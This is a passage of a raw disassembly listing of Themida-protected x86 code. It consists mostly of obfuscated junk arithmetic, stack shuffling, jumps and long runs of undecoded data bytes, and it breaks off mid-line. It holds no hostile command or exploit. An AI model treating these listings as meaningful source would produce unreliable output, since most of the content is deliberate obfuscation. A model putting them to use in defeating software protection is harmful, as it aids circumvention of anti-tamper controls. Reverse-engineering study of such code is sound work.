loc_502FD1:				; CODE XREF: Themida_:0050B47Cj
		push	esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], edx
		push	esi
		sub	dword ptr [esp], 18245D16h
		pop	edx
		add	edx, 18245D16h
		push	edx
		add	dword ptr [esp], 74C700C7h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50571D
; ---------------------------------------------------------------------------
		db 89h
		dd 7BF243Ch, 29635959h,	243C8BFAh, 4C481h, 0EA810000h
		dd 7D6850EDh, 257AE950h, 0E9580000h, 822Ch
; ---------------------------------------------------------------------------


loc_503024:				; CODE XREF: Themida_:00506DBCj
		push	edi
		mov	edi, 65AB0691h
		jmp	loc_50D4AD
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4C3h, 241C3300h, 33241C31h, 815C241Ch
		dd 4ECh, 243C8900h, 243C8B54h, 8104C483h, 4C7h,	4C78300h
		dd 31243C33h, 1FE9243Ch, 0FF00008Ah, 0E95B2434h, 6596h
; ---------------------------------------------------------------------------


loc_503074:				; CODE XREF: Themida_:00507BACj
		add	ebx, 6FFF3304h
		sub	ebx, 68C17C5Bh
		sub	ebx, ecx
		add	ebx, 68C17C5Bh
		sub	ebx, 6FFF3304h
		mov	ecx, [esp]
		add	esp, 4
		or	ebx, 3748673Ch
		add	ebx, 422CE2B4h
		xor	esi, ebx
		pop	ebx
		mov	[edi+20h], esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]


loc_5030BD:				; CODE XREF: Themida_:00502A71j
					; Themida_:0050532Ej
		mov	ebx, [esp]
		jmp	loc_506298
; ---------------------------------------------------------------------------


loc_5030C5:				; CODE XREF: Themida_:0050AFF3j
		push	edi
		mov	edi, 579E262Eh
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	edi, 7E374664h
		add	edi, edx
		push	eax
		mov	eax, 0FE62765h
		add	eax, 6E511EFFh
		add	edi, eax
		jmp	loc_50BDF1
; ---------------------------------------------------------------------------


loc_5030EB:				; CODE XREF: Themida_:0050AE03j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_50C5F3
; ---------------------------------------------------------------------------


loc_5030FF:				; CODE XREF: Themida_:00503A31j
		mov	esp, [esp]
		jmp	loc_5031EF
; ---------------------------------------------------------------------------
aAUsD		db 'ƺ(D',0
		db 0
; ---------------------------------------------------------------------------


loc_503111:				; CODE XREF: Themida_:00504AE3j
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_5023EC
; ---------------------------------------------------------------------------


loc_50311F:				; CODE XREF: Themida_:0050BE0Dj
		mov	esi, [esp]
		jmp	loc_508BB1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4892424h, 34FF5424h,	0C4815824h, 4, 405h, 4D0EE900h
		dd 814A0000h, 940870F2h, 0C7C2814Eh, 0C1417E0Eh, 53E907EAh
		dd 66FFFFF4h, 2886B252h, 305A66D5h, 2434FFE8h, 0E9240C8Bh
		dd 9055h, 582434FFh, 815D5455h,	4C5h, 6F04E900h, 81500000h
		dd 12692434h, 0E95A7086h, 6D01h, 89241C89h, 8BA52E3h, 81463366h
		dd 664AE9CAh, 0F21FE97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5031A2:				; CODE XREF: Themida_:0050D131j
		add	esp, 4
		jmp	loc_50CE73
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 97E95Ch, 0C4810000h,	4, 34FFF021h, 24348B24h, 5704C483h
		dd 96F7E9h, 0F6BB5300h,	0E9793506h, 505Dh
; ---------------------------------------------------------------------------


loc_5031D8:				; CODE XREF: Themida_:0050C420j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 43DD0A98h
		push	ebp
		mov	ebp, 3A86BACh
		jmp	loc_50A858
; ---------------------------------------------------------------------------


loc_5031EF:				; CODE XREF: Themida_:00503102j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 2C18100h, 51000000h, 42474FFh,	24048F59h, 5024248Bh
		dd 405E089h, 83000000h,	6FE904E8h, 8100008Fh, 5A326FEAh
		dd 5AD629AAh, 7617EE81h, 0C601175Ah, 7617C681h,	0C681175Ah
		dd 35A00D7Fh, 68h, 2434FF00h, 8560E9h, 2EC8100h, 0E9000000h
		dd 260h, 4B850h, 0C7810000h, 545F1935h,	0EF81C701h, 545F1935h
		dd 243C8758h, 322D685Ch, 14890000h, 0A21DE924h,	0D2F70000h
		dd 6856D387h, 22ECh, 68240489h,	28D22BA7h, 0D5220558h
		dd 0C6893B99h, 1DA6E958h, 89660000h, 5253240Ch,	0FE3AB753h
		dd 80C7FEC7h, 0E7C096F7h, 0B2526608h, 66D730F2h, 33B1515Ah
		dd 8059CF00h, 0EFC06FE7h, 15F78008h, 0FAE9FE88h, 0B9000055h
		dd 115A2D0Dh, 8105E9C1h, 0BF1377E9h, 7DD26803h,	2C890000h
		dd 598BBD24h, 0E931660Fh, 81242C8Bh, 4C4h, 0A2E95700h
		dd 0C000009Fh, 0F78006EFh, 0E9FA88D8h, 4FF8h, 0AABFE959h
		dd 2C890000h, 1FAE924h,	0C2810000h, 4F3A509Bh, 0E4EFE95Fh
		dd 8957FFFFh, 20F2E9E7h, 0F0300000h, 8B2434FFh,	0C4832414h
		dd 4C48104h, 68000000h,	1145h, 0B1240C89h, 51D9F657h, 0FFF437E9h
		dd 0E18951FFh, 4C181h, 0E9810000h, 4, 5C240C87h, 89240C89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0E924248Bh, 88C8h
		dd 242C895Ch, 25FEBB53h, 0EBD16D82h, 4B0EF381h,	0B95161ECh
		dd 1D5E3963h, 2B56E981h, 0C18147A3h, 51E456B9h,	0F706E9C1h
		dd 0BEF181D9h, 29F487EBh, 0B8E959CBh
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5033B3:				; CODE XREF: Themida_:0050D249j
		sub	ebx, 4
		push	39BAh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_50608B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 0C8BC801h, 4C48124h, 5000000h, 2, 0E9240487h
		dd 18D3h, 74FF535Ah, 8F5B0424h,	248B2404h, 48B6624h, 3CBFE924h
		dd 33660000h, 31662414h, 0F6E92414h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50341B:				; CODE XREF: Themida_:00501C93j
		add	edx, eax
		pop	eax
		add	edx, 5FC70D55h
		mov	ecx, [esp]
		add	esp, 4


loc_50342D:				; CODE XREF: Themida_:00503CB0j
					; Themida_:00504122j
		sub	esp, 4
		jmp	loc_501E97
; ---------------------------------------------------------------------------
		dd 0E904C383h, 34EFh, 0E9243C89h, 0FFFFE6E0h, 557ADDBBh
		dd 41BD553Ah, 813C040Fh, 92809E5h, 26C58140h, 0E95DF417h
		dd 0FFFFE9CEh
; ---------------------------------------------------------------------------


loc_503464:				; CODE XREF: Themida_:0050A116j
		add	edi, 92BE8E17h
		neg	edi
		push	19B2h
		mov	[esp], esi
		push	edx
		mov	edx, 32C85727h
		mov	esi, edx
		pop	edx
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		inc	edi
		xor	edi, 0DFE89ED0h
		and	eax, edi
		jmp	loc_50DDC1
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4ECh, 24148900h, 0B2525AB2h,	436DE935h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5034AA:				; CODE XREF: Themida_:00503D93j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50C56A
; ---------------------------------------------------------------------------
		dd 24148966h, 384668h, 240C8900h, 0C6686653h, 665B6621h
		dd 2AF7F381h, 0BE665666h, 216608B2h, 665E66F3h,	6655D3F7h
		dd 661092BDh, 652F581h,	9CED8166h, 0EB0166C9h, 8972E95Dh
		dd 75680000h, 0E9000069h, 0FFFFF2EEh, 835BD801h, 0FF5002C0h
		dd 0E9042474h, 0FFFFE557h, 0EC835D54h, 24348904h, 98454CBEh
		dd 8D20E946h, 34FF0000h, 139E924h, 0D8290000h, 2404335Bh
		dd 33240431h, 895C2404h, 0D2E9240Ch, 88FFFFE2h,	0DCF659ECh
		dd 8429E9h, 5BDF0100h, 7CE95150h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_503553:				; CODE XREF: Themida_:005098C5j
		add	esp, 4
		or	eax, eax
		jz	loc_505712
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 3D1E5E4Dh
		xor	[esp+4], esi
		jmp	loc_5037A9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 5C24048Fh, 6689EB80h, 0B0505350h,	58C788ECh
		dd 0CEE9CFFEh, 4000077h, 5B92E94Ch, 53520000h, 833E3BBh
		dd 84AEBA70h, 0DA29ECA2h, 2599E9h
		db 0
; ---------------------------------------------------------------------------


loc_5035A9:				; CODE XREF: Themida_:005051B7j
		push	edi
		mov	edi, 436409DDh
		jmp	loc_50AFB7
; ---------------------------------------------------------------------------
		dd 0FFE258E9h, 240C89FFh, 5A2468h, 24248900h, 4240481h
		dd 59000000h, 4BF57h, 0F9010000h, 0B951505Fh, 13F97CB2h
		dd 4FC262B8h, 59C8295Dh, 49CF3540h, 6B0559BAh, 0E9628F21h
		dd 5EDBh
; ---------------------------------------------------------------------------


loc_5035F4:				; CODE XREF: Themida_:0050221Cj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	24h
		pop	ecx
		push	edi
		push	ebx
		mov	ebx, 1FEE2D44h
		and	ebx, 56731348h
		xor	ebx, 8DB65B4h
		mov	edi, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		add	ecx, edi
		add	ecx, 1EB964F4h
		push	edx
		push	edi
		mov	edi, 0
		mov	edx, edi
		pop	edi
		add	edx, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_50A1D2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 7E92404h, 5C000068h,	0FFC0B60Fh, 41E98734h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_503677:				; CODE XREF: Themida_:0050A493j
		mov	ebp, eax
		pop	eax
		jmp	loc_50B7EA
; ---------------------------------------------------------------------------
		db 66h
		dd 0C8EEC281h, 0DBE98166h, 0D101664Dh, 0DBC18166h, 89665A4Dh
		dd 316659CAh, 3DCE9D0h,	89660000h, 12B7241Ch, 0F8000904h
		dd 10E9092Ch, 59FFFFF3h, 2B9515Fh, 1000000h, 0DAE959CDh
		dd 8000005Fh, 982C34C2h, 9804D000h, 0E924148Bh,	99ACh
		dd 8106E5C1h, 0EE3E5FC5h, 38F58178h, 0E9FE8A3Bh, 0A441h
		dd 525351ACh, 0B2B791B2h, 11C780h, 11EF80D7h, 0B19E95Ah
		dd 0CF810000h, 10680C08h, 7EF3C781h, 0F829F879h, 7179055Fh
		dd 0D80125FAh, 0FA71792Dh, 7CD20525h, 95050A69h, 8B481179h
		dd 0C481241Ch, 4, 77BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_50372D:				; CODE XREF: Themida_:00502674j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_506F92
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0FBE92424h, 89000003h, 68E9241Ch, 5200000Bh,	0C281E289h
		dd 4, 4E13E9h, 815A5400h, 4C2h,	28666800h, 1C890000h, 0E9E38924h
		dd 0A6EFh, 54243489h, 8B2434FFh, 0C4812434h, 4,	4C481h
		dd 0B8500000h, 4, 4844E9h
		db 0
; ---------------------------------------------------------------------------


loc_5037A9:				; CODE XREF: Themida_:0050356Ej
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	45DBh
		jmp	loc_50C298
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4BD55h, 40E90000h, 55000024h, 2B6A13BDh
		dd 81DDF729h, 1C0F23CDh, 6BED812Ah, 0D11E3542h,	81DDF7EDh
		dd 0AB59ECF5h, 5DE8099Ah, 8904EC83h, 2DE92414h,	5C00004Eh
		dd 0FFF138E9h, 4DB8B9FFh, 93E90C5Bh, 0C1000024h, 71E906E2h
		dd 1000062h, 96EE9C6h, 248B0000h, 1EB8024h, 30F8F380h
		dd 38685BD8h, 0E900000Bh, 3C3Eh
; ---------------------------------------------------------------------------


loc_50382C:				; CODE XREF: Themida_:00504A2Cj
		pop	esi
		sub	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50C93D
; ---------------------------------------------------------------------------
		dd 59D268h, 240C8900h, 566268h,	24248900h, 985E9h, 6113BA00h
		dd 54E93F79h, 8B00009Ah, 91E92424h, 51000059h, 4B9h, 59CD0100h
		dd 5C242C87h, 7C54E9h
		db 0
; ---------------------------------------------------------------------------


loc_503879:				; CODE XREF: Themida_:00506F71j
		sub	eax, 10695178h
		xor	eax, 7B966E52h
		not	eax
		xor	eax, 0AC6F982Ah
		mov	esi, eax
		jmp	loc_5053CC
; ---------------------------------------------------------------------------
		db 5Fh,	53h, 81h
		dd 4ECh, 24348900h, 7A0D2CBEh, 53E6814Ch, 0C1042E54h, 0EEC103EEh
		dd 0FEF68103h, 811D5415h, 95F47CF6h, 0E9F38941h, 99B5h
; ---------------------------------------------------------------------------


loc_5038C0:				; CODE XREF: Themida_:0050BD62j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_502F07
; ---------------------------------------------------------------------------
		db 2Dh,	0ECh, 33h
		dd 9C2D6C2Bh, 2D34BE4Fh, 3ACD3F54h, 3A19E953h, 0BE560000h
		dd 2EA26F19h, 1E25CE81h, 93E900FAh
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_503917:				; CODE XREF: Themida_:00508980j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	bl, al
		add	bl, 3Ah
		jmp	loc_509671
; ---------------------------------------------------------------------------
		db 68h
		dd 2A72h, 54240C89h, 7FE16859h,	2C890000h, 0E0895024h
		dd 64F5E9h, 0E6895600h,	4C681h,	77E90000h, 0BA00005Fh
		dd 61905DE4h, 6E9D329h,	66000037h, 0E9240C8Bh, 0FFFFEDBAh
		dd 895FFB89h, 47095BD8h, 9AE9581Ch
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_503977:				; CODE XREF: Themida_:00507635j
		sub	esi, 0DAF8FCBDh
		jmp	loc_508432
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E955240Ch, 8452h
; ---------------------------------------------------------------------------


loc_50398C:				; CODE XREF: Themida_:0050CD69j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	1DE4h
		mov	[esp], eax
		push	ebx
		mov	eax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_508248
; ---------------------------------------------------------------------------
aIrh		db 'h`',8,0
		dw 8900h
		dd 4BF243Ch, 1000000h, 2055FF8h, 0E9000000h, 7DDDh, 8704C383h
		dd 565C241Ch, 0FF2414F7h, 2E92404h, 0F00004Ch, 0C6E9C0B6h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5039E3:				; CODE XREF: Themida_:00507927j
		sub	edx, 329E54C3h
		sub	edx, 386E3E7Dh
		add	edx, 5FC43475h
		sub	edx, ecx
		sub	edx, 5FC43475h
		add	edx, 386E3E7Dh
		jmp	loc_507034
; ---------------------------------------------------------------------------


loc_503A08:				; CODE XREF: Themida_:0050B048j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	1E54h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5030FF
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BE243489h, 342662E7h, 1FA1E9h, 0DDC3E900h, 8058FFFFh
		dd 0F52CBFE9h, 0C8287804h, 0F504782Ch, 83240C8Bh, 515304C4h
		dd 1E4E9h, 73C18100h, 0E9B051D8h, 24Fh,	71CFE951h, 8B660000h
		dd 4BE92414h, 5D000002h, 0E9240487h, 0C4h
; ---------------------------------------------------------------------------


loc_503A8C:				; CODE XREF: Themida_:0050DD8Dj
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_502F61
; ---------------------------------------------------------------------------
		dd 5C240433h, 582434FFh, 96E95156h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_503AA7:				; CODE XREF: Themida_:00506793j
		not	bl
		sub	bl, 0ABh
		jmp	loc_505FE9
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 4EE8300h, 2D6BE9h, 0EC815300h,	4, 7451E9h
		db 0
; ---------------------------------------------------------------------------


loc_503ACD:				; CODE XREF: Themida_:005067CCj
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	1267h
		mov	[esp], ebp
		push	eax
		mov	eax, 48141173h
		mov	ebp, eax
		pop	eax
		or	esi, ebp
		jmp	loc_502236
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9560000h, 6753h, 0EBAA2235h, 1C472103h, 582434FFh
		dd 0E904C483h, 0FFFFDD05h, 32CD0F6h, 5866C128h,	0B8E9C800h
		dd 0BF000032h, 0
		dd 41BEF81h, 0EF2949AEh, 41BC781h, 5DE949AEh, 5500005Eh
		dd 8C5B27BDh, 0D84E948h, 51AC0000h, 0F58006B5h,	5DED80C4h
		dd 0E908EDC0h, 5E0Ch, 0F748E95Ch, 0BF57FFFFh, 4, 217ABB53h
		dd 5C017E79h, 15B0824h,	8104247Ch, 7A04246Ch, 0E97E7921h
		dd 3BB9h, 24048966h, 0FFDC90E9h, 0BE565AFFh, 4,	535EF329h
		dd 42474FFh, 24048F5Bh,	9AB2E9h, 4C38100h, 81000000h, 2C3h
		dd 241C3300h, 33241C31h, 248B241Ch, 0AF0F6624h,	6A8DE9C8h
		dd 68680000h, 89000063h, 0ECBE2434h, 817EEB7Dh,	0EA7A1FC6h
		dd 81DEF772h, 0AE2906EEh, 0E9DEF773h, 75EBh
; ---------------------------------------------------------------------------


loc_503BDC:				; CODE XREF: Themida_:005081E4j
		sub	eax, edi
		pop	edi
		jmp	loc_50CFF3
; ---------------------------------------------------------------------------
		dd 7221F681h, 86E973A7h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_503BEF:				; CODE XREF: Themida_:00502764j
		pop	ecx
		jmp	loc_50A829
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 7
		dd 6EEC146h, 6426C681h,	66E9305Dh, 53000085h, 0C381E389h
		dd 4, 57D4E957h, 0B7530000h, 0DACF80B0h, 0E960E780h, 67E3h
; ---------------------------------------------------------------------------


loc_503C24:				; CODE XREF: Themida_:005076F2j
		add	ebx, edi
		pop	edi
		xor	ebx, 0B970E1Ch
		jmp	loc_50BA4D
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 52443718h, 0EB81C301h, 52443718h, 883CE9h
		db 0
; ---------------------------------------------------------------------------


loc_503C45:				; CODE XREF: Themida_:00507286j
		pop	dword ptr [edi+20h]
		jmp	loc_507045
; ---------------------------------------------------------------------------
		db 0B1h, 3Ah, 80h
		dd 0A3E9FFE9h, 81000034h, 0A9FED0E9h, 4815121h,	0A279CE24h
		dd 0EB815B6Fh, 6FA279CEh, 8603E959h, 0A7B40000h, 80ECCC80h
		dd 0E100A9F4h, 59CE3058h, 0FFF6A5E9h, 0D6E959FFh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_503C8B:				; CODE XREF: Themida_:0050C604j
		mov	ebx, 0D9024D5h
		push	5D5h
		mov	[esp], ebp
		push	7C0828F6h
		pop	ebp
		neg	ebp
		sub	ebp, 9187FBE0h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_508A64
; ---------------------------------------------------------------------------


loc_503CAE:				; CODE XREF: Themida_:0050C52Bj
		or	eax, eax
		jz	loc_50342D
		push	dword ptr [edi+28h]
		push	33EEh
		jmp	loc_506DB9
; ---------------------------------------------------------------------------
		db 81h
		dd 293075C7h, 7144E918h, 0C4830000h, 7AB8E902h,	0E95C0000h
		dd 0FFFFF0BDh, 0D85F430Dh, 950522h, 0C101D023h,	9C97E958h
		dd 248B0000h, 24040024h, 0DB17E99Ch, 0E951FFFFh, 9E7h
		dd 240C8B66h, 3A66E9h, 0C8B6600h, 0E7895724h, 48F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_503D15:				; CODE XREF: Themida_:0050B951j
		push	ebp
		mov	ebp, 31304A42h
		dec	ebp
		add	ebp, 28F93F07h
		add	ebp, 6AEA3420h
		xor	ebp, 912F89F8h
		sub	eax, ebp
		pop	ebp
		sub	eax, 55A42F0Ah
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	5B3h
		mov	[esp], ebx
		push	edx
		push	72CE7BDCh
		jmp	loc_50C6A8
; ---------------------------------------------------------------------------


loc_503D4F:				; CODE XREF: Themida_:00504CFFj
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5098C0
; ---------------------------------------------------------------------------
		db 81h
		dd 86134DC5h, 5BE95814h, 8900000Fh, 0F5815FFDh,	5112240Fh
		dd 505DEB21h, 2330B951h, 0E9413C1Bh, 82E7h
; ---------------------------------------------------------------------------


loc_503D7C:				; CODE XREF: Themida_:00509C8Aj
		pop	esp
		and	ebp, 897D23h
		neg	ebp
		add	ebp, 57E22E4Fh
		xor	ebp, 57596D4Fh
		mov	edx, ebp
		jmp	loc_5034AA
; ---------------------------------------------------------------------------
		dd 8304C483h, 1C8702C3h, 3CF0E924h, 0C3810000h,	4, 2581E9h
		db 0
; ---------------------------------------------------------------------------


loc_503DB1:				; CODE XREF: Themida_:0050206Cj
		pop	ecx
		jmp	loc_50A330
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5AA51510h, 0FD36E948h, 0D0F7FFFFh, 1C53F40Dh, 1AFC054Fh
		dd 0C681FB24h, 32F453Ah, 0EE81C629h, 32F453Ah, 9AB5E958h
		dd 0E9590000h, 3264h, 209C32BBh, 59CB011Bh, 5D1BE9h, 81E2D100h
		dd 0A1726C2h, 5C28179h,	3107444Bh, 0DE015AD3h, 0E92434FFh
		dd 0FE7h, 0FFD9FCE9h, 68B1B9FFh, 0C9E94E95h, 81FFFFFFh
		dd 4C5h, 0F6BB5300h, 81774635h,	350D01F3h, 0EB814B16h
		dd 617338F2h, 875BDD29h, 895C242Ch, 0E2892414h,	4C281h
		dd 48E90000h, 8900000Dh, 0E5E9241Ch, 5D000076h,	4BE56h
		dd 0C5810000h, 34076100h, 0ED81F501h, 34076100h, 5E2434FFh
		dd 0E904C483h, 0FFFFF9EFh, 4F69F581h, 0EE31E938h, 72C6E9h
		dd 0C4F68100h, 0E91F63AEh, 5B19h, 39A8E957h, 0C8B0000h
		dd 8727E924h, 0D6290000h, 7C52E9h, 0CE95B00h, 1000045h
		dd 6D0EE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503EB2:				; CODE XREF: Themida_:00506CA1j
		sub	edi, 8E9233Dh
		jmp	loc_50B68D
; ---------------------------------------------------------------------------
		db 88h,	0D3h, 5Ah
		dd 0D3F65966h, 252CE9h,	6658BD00h, 0F5811C65h, 3E550FF4h
		dd 0FC41E957h, 0E689FFFFh, 33A3BB53h, 0C14B596Ch, 0B95102EBh
		dd 72082A2Eh, 4B59CB01h, 2C71F381h, 0C3810C40h,	7BDCE4A0h
		dd 555BDE01h, 2BDh, 490A6800h, 1C890000h, 650CE924h, 4050000h
		dd 83000000h, 6CE904C0h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_503F1F:				; CODE XREF: Themida_:00506396j
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_507102
; ---------------------------------------------------------------------------
		dd 295FF829h, 32A4E9D8h, 89530000h, 4C381E3h, 0E9000000h
		dd 8716h
; ---------------------------------------------------------------------------


loc_503F44:				; CODE XREF: Themida_:00509307j
		mov	[esp], edi
		jmp	loc_508471
; ---------------------------------------------------------------------------
		dd 24048B66h, 56AF68h, 0F82EE900h, 3C8BFFFFh, 3F3CE924h
		dd 0E9540000h, 1511h, 0C7815F54h, 4, 3304EF83h,	3C31243Ch
		dd 0EF49E924h, 77FFFFFFh, 0EB9513Ch, 31651560h,	0E904244Ch
		dd 268Dh, 151500BDh, 4E5C10Eh, 0B0EC581h, 0EDD173F2h, 0FCDE581h
		dd 0ED837C51h, 82ED81FFh, 128010Dh, 0C1815DE9h,	4, 31240C33h
		dd 0C33240Ch, 2BB0E924h, 48F0000h, 24248B24h, 20CEE9h
		dd 243C8700h, 0FFF14EE9h, 0E9D828FFh, 0FFFFF516h, 2C2316BEh
		dd 61C68101h, 9526BE0h,	0F7525EF2h, 515A2414h, 1EE7E9h
		dd 51665900h, 0FE241C86h, 241C86CBh, 4952E9h, 15C58100h
		dd 0E982D420h, 2C2Ch, 4B850h, 0C7010000h, 6381E9h
		db 0
; ---------------------------------------------------------------------------


loc_504021:				; CODE XREF: Themida_:0050B2BBj
		neg	edx
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		xor	edx, 58675662h
		xor	edx, 4F780E45h
		mov	ecx, edx
		pop	edx
		sub	edi, ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0FFD7D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504041:				; CODE XREF: Themida_:00501E9Cj
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_507949
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFE73EE9h, 0D7AFE9FFh, 0D7F7FFFFh, 0FD9BB53h
		dd 0DF014FF9h, 0FFFE34E9h, 68FFh, 4AE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50407B:				; CODE XREF: Themida_:0050A845j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_508075
; ---------------------------------------------------------------------------
		dd 2404875Dh, 0D224248Bh, 0E99C2424h, 3E1Fh, 4EC8157h
		dd 54000000h, 0E924048Fh, 0FFFFEBF1h, 8704C183h, 0E95C240Ch
		dd 0FFFFFB52h, 815DEF89h, 9C674EEDh, 0B80E934h,	21BE0000h
		dd 5148F61Dh, 8891E9h, 81D7F700h, 0FDF5AAC7h, 5266E9EBh
		dd 81580000h, 4C4h, 4C48100h, 1000000h,	24B850C3h, 29777162h
		dd 22E958C3h, 29000053h, 0F208E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50410E:				; CODE XREF: Themida_:005090B6j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_50342D
		push	ecx
		jmp	loc_505441
; ---------------------------------------------------------------------------
		dw 0FD88h
aIY		db 'Y[',0
aZ		db 'Z',0
aSF		db 'f',0
		align 2
aMrCsk8		db 'R8',0
		db 0
; ---------------------------------------------------------------------------


loc_504147:				; CODE XREF: Themida_:0050BEB9j
		push	ebp
		jmp	loc_50A53D
; ---------------------------------------------------------------------------


loc_50414D:				; CODE XREF: Themida_:005056A9j
		add	edi, 4
		jmp	loc_505CD8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 83D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_504161:				; CODE XREF: Themida_:00502848j
		pop	edi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_50ACB7
; ---------------------------------------------------------------------------


loc_50416F:				; CODE XREF: Themida_:0050A5B1j
		mov	[esp], ecx
		jmp	loc_504F16
; ---------------------------------------------------------------------------
		db 80h
		dd 0C180B7E1h, 0E9C82876h, 0FFFFFB01h, 3F32EE81h, 0EE81277Dh
		dd 5D41277Ch, 8F39E9h, 52C36100h, 1E3E9ABAh, 81EAD13Ah
		dd 0C44BC1CAh, 292FE917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5041AA:				; CODE XREF: Themida_:00509D71j
		xor	edi, 45CAA437h
		sub	ebx, 13FF6759h
		sub	ebx, edi
		add	ebx, 13FF6759h
		pop	edi
		jmp	loc_50AA69
; ---------------------------------------------------------------------------


loc_5041C4:				; CODE XREF: Themida_:005064BFj
		pop	edi
		jmp	loc_50467E
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 57000000h,	88E0E954h, 4810000h, 424h, 0E9575900h
